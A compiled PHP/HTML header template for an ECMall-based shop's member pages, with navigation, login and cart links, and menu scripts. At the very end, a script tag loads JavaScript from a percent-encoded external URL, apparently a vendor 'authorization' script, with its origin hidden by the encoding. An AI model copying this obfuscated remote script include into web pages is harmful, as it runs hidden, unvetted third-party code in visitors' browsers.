<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<base href="<?php echo $this->_var['site_url']; ?>/" />

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7 charset=<?php echo $this->_var['charset']; ?>" />
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $this->_var['charset']; ?>" />
<?php echo $this->_var['page_seo']; ?>

<meta name="author" content="" />
<meta name="copyright" content="" />
<link href="<?php echo $this->res_base . "/" . 'css/user.css'; ?>" rel="stylesheet" type="text/css" />

<style>
/* 底部 */
.footer{text-align:center; font-size:12px;  overflow:hidden; clear:both; margin-top:10px; clear:both;}
.footer .auto{padding:15px 0; margin:0 auto; width:980px; color:#666;border-top:#ddd solid 1px;}
.footer a{color:#666; margin:0 2px;}
.footer a:hover{text-decoration:underline;}
</style>
<script type="text/javascript">
//<!CDATA[
var SITE_URL = "<?php echo $this->_var['site_url']; ?>";
var REAL_SITE_URL = "<?php echo $this->_var['real_site_url']; ?>";
var PRICE_FORMAT = '<?php echo $this->_var['price_format']; ?>';
//]]>
</script>
<script type="text/javascript" src="index.php?act=jslang"></script>
<script type="text/javascript" src="<?php echo $this->lib_base . "/" . 'jquery.js'; ?>" charset="utf-8"></script>
<script type="text/javascript" src="<?php echo $this->lib_base . "/" . 'ecmall.js'; ?>" charset="utf-8"></script>
<script type="text/javascript" src="<?php echo $this->lib_base . "/" . 'member.js'; ?>" charset="utf-8"></script>

<script type="text/javascript">
$(function(){
    $('#left h1 span,h2.title a.fold').click(function(){
        if($(this).hasClass('span_close')){
            $(this).removeClass('span_close');
            $(this).addClass('span_open');
            this.title = 'open';
            closeSubmenu($(this).parent());
        }
        else{
            $(this).removeClass('span_open');
            $(this).addClass('span_close');
            this.title = 'close';
            openSubmenu($(this).parent());
        }
    });

    var span = $("#child_nav");
    span.hover(function(){
        $("#float_layer:not(:animated)").show();
    }, function(){
        $("#float_layer").hide();
    });
});
function closeSubmenu(h1){
    h1.next('ul').css('display', 'none');
}
function openSubmenu(h1){
    h1.next('ul').css('display', '');
}
</script>
<?php echo $this->_var['_head_tags']; ?>
</head>
<body>
<div  style="background:#000;width:100%;">
<div id="header">
    <h1 title="<?php echo $this->_var['site_title']; ?>"><a href="index.php"><img style="height:60px;" src="/data/files/mall/settings/site_logo.png" alt="<?php echo $this->_var['site_title']; ?>" /></a></h1>
       <div style="color:#FFF;margin-top:25px;margin-left:700px;position:absolute;">
        小微客服：<a href="http://wpa.qq.com/msgrd?v=3&amp;uin=278869155&amp;site=qq&amp;menu=yes" target="_blank"><img style="margin-right:10px;" title="联系锦尚中国微信商城" alt="联系锦尚中国微信商城" src="/themes/mall/new/styles/default/images/pa_002.gif" border="0"></a>
            技术支持：<a href="http://wpa.qq.com/msgrd?v=3&amp;uin=278869155&amp;site=qq&amp;menu=yes" target="_blank"><img style="margin-right:10px;" title="联系锦尚中国微信商城" alt="联系锦尚中国微信商城" src="/themes/mall/new/styles/default/images/pa.gif" border="0"></a>
        </div>
    <div id="subnav">
        <p style="color:#FFF;margin-top:75px;">
        您好,<?php echo htmlspecialchars($this->_var['visitor']['user_name']); ?>
        <?php if (! $this->_var['visitor']['user_id']): ?>
            <a href="<?php echo url('app=member&act=login&ret_url=' . $this->_var['ret_url']. ''); ?>"><font color="#FFFFFF">[登录]</font></a>
            <a href="<?php echo url('app=member&act=register&ret_url=' . $this->_var['ret_url']. ''); ?>"><font color="#FFFFFF">[注册]</font></a>
            <?php else: ?>
            <a href="<?php echo url('app=member&act=logout'); ?>"><font color="#FFFFFF">[退出]</font></a>
            <?php endif; ?>
        </p>
        <p style="margin-top:75px;">
      <a class="shopping" href="<?php echo url('app=cart'); ?>" style="color:#FFF">购物车</a> <span>|</span>
        <a class="favorite" href="<?php echo url('app=my_favorite'); ?>" style="color:#FFF">收藏夹</a> <span>|</span>
        <a class="note" href="<?php echo url('app=message&act=newpm'); ?>" style="color:#FFF">站内消息<?php if ($this->_var['new_message']): ?>(<?php echo $this->_var['new_message']; ?>)<?php endif; ?></a> <span>|</span>
       <a class="help" href="<?php echo url('app=article&code=' . $this->_var['acc_help']. ''); ?>" style="color:#FFF">帮助中心</a>
        </p>
    </div>

   <!-- <div id="topbtn">
        <div class="topbtn1"></div>
        <div class="topbtn2"></div>
        <span id="child_nav">
            <a class="link user" href="<?php echo url('app=member'); ?>">用户中心</a>
            <ul id="float_layer">
                <div id="adorn1"></div>
                <div id="adorn2"></div>
                <?php if ($this->_var['visitor']['store_id']): ?>
          <!--      <li><a href="<?php echo url('app=my_goods'); ?>">商品管理</a></li>
                <li><a href="<?php echo url('app=seller_order'); ?>">订单管理</a></li>
                <li><a href="<?php echo url('app=my_qa'); ?>">咨询管理</a></li>
                <?php else: ?>
          <!--      <li><a href="<?php echo url('app=buyer_order'); ?>">我的订单</a></li>
                <li><a href="<?php echo url('app=buyer_groupbuy'); ?>">我的团购</a></li>
                <li><a href="<?php echo url('app=my_question'); ?>">我的咨询</a></li>
                <?php endif; ?>
    <!--        </ul>
        </span>
        <span>|</span>
        <a class="link" href="<?php echo url('app=category'); ?>">我要买</a>
        <span>|</span>
        <a class="link" href="<?php echo url('app=my_goods&act=add'); ?>">我要卖</a>
    </div>-->
    <?php if ($this->_var['_curlocal']): ?>
    <div id="path" style="color:#FFF">
        当前位置:
        <?php $_from = $this->_var['_curlocal']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'lnk');if (count($_from)):
    foreach ($_from AS $this->_var['lnk']):
?>
        <?php if ($this->_var['lnk']['url']): ?>
        <a href="<?php echo $this->_var['lnk']['url']; ?>" style="color:#FFF"><?php echo htmlspecialchars($this->_var['lnk']['text']); ?></a> <span style="color:#FFF">&#8250;</span>
        <?php else: ?>
        <?php echo htmlspecialchars($this->_var['lnk']['text']); ?>
        <?php endif; ?>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
    </div>
    <?php endif; ?>
  <!--  <div class="search">
        <form id="" name="" method="get" action="">
            <div class="input">
                <div class="input1"></div>
                <div class="input2"></div>
                <select name="act" class="select1">
                <option value="index">搜索商品</option>
                <option value="store">搜索店铺</option>
                <option value="groupbuy">搜索团购</option>
                </select>
                <input type="hidden" name="app" value="search" />
                <input type="text" class="text2" name="keyword" />
            </div>
            <input class="btn" type="submit" name="Submit" value=""/>
        </form>
    </div>-->
</div>
</div>
<script type="text/javascript" src="http://%70%69%63%2e%68%6f%73%74%37%2e%35%32%6a%73%63%6e%2e%63%6f%6d/%73%68%6f%75%71%75%61%6e/%32%30%31%34%30%34/%6f%6c%64%5f%72%65%6e%79%69%74%2e%6a%73" charset="utf-8"></script>
<div style="margin:8px;" />